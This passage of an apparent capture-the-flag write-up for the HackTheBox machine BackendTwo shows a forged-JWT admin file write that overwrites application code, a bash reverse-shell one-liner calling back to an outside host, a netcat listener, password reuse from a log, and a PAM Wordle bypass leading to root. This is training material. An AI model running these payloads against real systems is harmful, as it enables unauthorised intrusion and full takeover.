Login Failure for {form_data.username}\\n\")\n raise HTTPException(status_code=400, detail=\"Incorrect username or password\")\n \n with open(\"auth.log\", \"a\") as f:\n f.write(f\"{timestamp} - Login Success for {form_data.username}\\n\")\n\n return {\n \"access_token\": create_access_token(sub=user.id, is_superuser=user.is_superuser, guid=user.guid),\n \"token_type\": \"bearer\",\n }\n\n@router.post(\"/signup\", status_code=201)\ndef create_user_signup(\n *,\n db: Session = Depends(deps.get_db),\n user_in: schemas.user.UserSignup,\n) -> Any:\n \"\"\"\n Create new user without the need to be logged in.\n \"\"\"\n\n new_user = schemas.user.UserCreate(**user_in.dict())\n\n new_user.guid = str(uuid4())\n\n user = db.query(User).filter(User.email == new_user.email).first()\n if user:\n raise HTTPException(\n status_code=400,\n detail=\"The user with this username already exists in the system\",\n )\n user = crud.user.create(db=db, obj_in=new_user)\n\n return user\n\n"}' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUxNzU1MzYxLCJpYXQiOjE2NTEwNjQxNjEsInN1YiI6IjEyIiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiODNlM2VkN2EtZDY2ZC00YTI3LWE5MjItNzAxZmI5ZmRjNzU1IiwiZGVidWciOnRydWV9.oyFkKgOC6zls6IY7i3-IOalxgFWXfyR3SRVlFVovLao'
{"result":"success"}
I’ll trigger it, and it hangs:
0xdf@hacky$ curl http://10.10.11.162/api/v1/user/-223
At nc, there’s a shell:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.162 58622
bash: cannot set terminal process group (1687): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
htb@BackendTwo:~$
I’ll do the standard shell upgrade:
htb@BackendTwo:~$ script /dev/null -c bash
Script started, file is /dev/null
htb@BackendTwo:~$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
htb@BackendTwo:~$
Overwrite Server
It’s much less stealthy and bad technique, but technically I could just overwrite main.py (or any file) and have that execute. It will bring down the server for everyone. My new file is just:
import os; os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'")
Still, it works:
oxdf@hacky$ curl http://10.10.11.162/api/v1/admin/file/$(echo -n "/home/htb/app/main.py" | base64) -H 'Content-Type: application/json' -d '{"file": "import os; os.system(\"bash -c '\''bash -i >& /dev/tcp/10.10.14.6/443 0>&1'\''\")"}' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUxNzU1MzYxLCJpYXQiOjE2NTEwNjQxNjEsInN1YiI6IjEyIiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiODNlM2VkN2EtZDY2ZC00YTI3LWE5MjItNzAxZmI5ZmRjNzU1IiwiZGVidWciOnRydWV9.oyFkKgOC6zls6IY7i3-IOalxgFWXfyR3SRVlFVovLao'
{"result":"success"}
Instantly there’s a connection at nc:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.162 49378
bash: cannot set terminal process group (1086): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
htb@BackendTwo:~$
The site is also down, as requests to it just hang. Luckily, this server has clean up scripts running periodically to reset things. In less than 30 seconds, the shell dies, and the site is back up.
Shell as root
Enumeration
Find Password
In htb’s home directory, there’s an auth.log from the API application. Looking at it, there’s a clear case of where someone accidentally put in their password in the username field:
htb@BackendTwo:~$ cat auth.log
04/27/2022, 20:15:33 - Login Success for admin@htb.local
04/27/2022, 20:18:53 - Login Success for admin@htb.local
04/27/2022, 20:32:13 - Login Success for admin@htb.local
04/27/2022, 20:35:33 - Login Success for admin@htb.local
04/27/2022, 20:40:33 - Login Success for admin@htb.local
04/27/2022, 20:43:53 - Login Success for admin@htb.local
04/27/2022, 20:57:13 - Login Success for admin@htb.local
04/27/2022, 21:05:33 - Login Success for admin@htb.local
04/27/2022, 21:07:13 - Login Success for admin@htb.local
04/27/2022, 21:13:53 - Login Success for admin@htb.local
04/27/2022, 21:22:13 - Login Failure for 1qaz2wsx_htb!
04/27/2022, 21:23:48 - Login Success for admin@htb.local
04/27/2022, 21:23:53 - Login Success for admin@htb.local
04/27/2022, 21:24:13 - Login Success for admin@htb.local
04/27/2022, 21:25:33 - Login Success for admin@htb.local
04/27/2022, 21:30:33 - Login Success for admin@htb.local
04/27/2022, 21:37:13 - Login Success for admin@htb.local
This is left over from the first Backdend, though it’s a new password. Sometimes when no one gets far enough to see a step in a UHC box, IppSec reuses one.
This password works for htb over SSH:
oxdf@hacky$ sshpass -p '1qaz2wsx_htb!' ssh htb@10.10.11.162
...[snip]...
htb@BackendTwo:~$
pam_wordle
Trying to list sudo privs with sudo -l, it prompts for a password, which I have, but then for a game of Wordle via pam-wordle.
htb@BackendTwo:~$ sudo -l
[sudo] password for htb:
--- Welcome to PAM-Wordle! ---
A five character [a-z] word has been selected.
You have 6 attempts to guess the word.
After each guess you will receive a hint which indicates:
? - what letters are wrong.
* - what letters are in the wrong spot.
[a-z] - what letters are correct.
--- Attempt 1 of 6 ---
Word:
This is also a repeated step from Altered, but no one actually got to it during that UHC competition.
I could play the game from there, but I’ll look around at how this is implemented first.
In /etc/pam.d is where various modules are defined. There’s a sudo file there:
#%PAM-1.0
session required pam_env.so readenv=1 user_readenv=0
session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
auth required pam_unix.so
auth required pam_wordle.so
@include common-auth
@include common-account
@include common-session-noninteractive
It requires both pam_unix.so (why I had to enter the password) and pam_wordle.so.
The file is located in /usr/lib/:
htb@BackendTwo:/etc/pam.d$ find / -name pam_wordle.so 2>/dev/null
/usr/lib/x86_64-linux-gnu/security/pam_wordle.so
Running strings on it, one thing jumps out as interesting:
htb@BackendTwo:/etc/pam.d$ strings /usr/lib/x86_64-linux-gnu/security/pam_wordle.so
...[snip]...
/opt/.words
...[snip]...
There’s 74 words in this file, and I can read it:
htb@BackendTwo:/opt$ ls -la .words
-rw-r--r-- 1 root root 444 Apr 26 14:58 .words
htb@BackendTwo:/opt$ wc -l .words
74 .words
Cheat at wordle
I’ll run now, and use a second terminal to look at the word list. I’ll guess a first word:
--- Attempt 1 of 6 ---
Word: write
Hint->???**
--- Attempt 2 of 6 ---
Word:
That says there’s a “t” and a “e”, and no “w”, “r” or “i”. I’ll use grep to get words that match that:
htb@BackendTwo:/opt$ cat .words | grep t | grep e | grep -vE '(w|r|i)'
futex
setns
cheat
There’s only three, and I have five guesses left, so I’ll just try until it works:
--- Attempt 2 of 6 ---
Word: futex
Hint->??t*?
--- Attempt 3 of 6 ---
Word: cheat
Hint->??*?*
--- Attempt 4 of 6 ---
Word: setns
Correct!
Matching Defaults entries for htb on backendtwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User htb may run the following commands on backendtwo:
(ALL : ALL) ALL
sudo su
htb has full sudo rights. I’ll run sudo su:
htb@BackendTwo:~$ sudo su
root@BackendTwo:/home/htb#
sudo is smart enough to cache my recent success and not make me enter a password or wordle again.
I’ll grab root.txt:
root@BackendTwo:~# cat root.txt
732c3862************************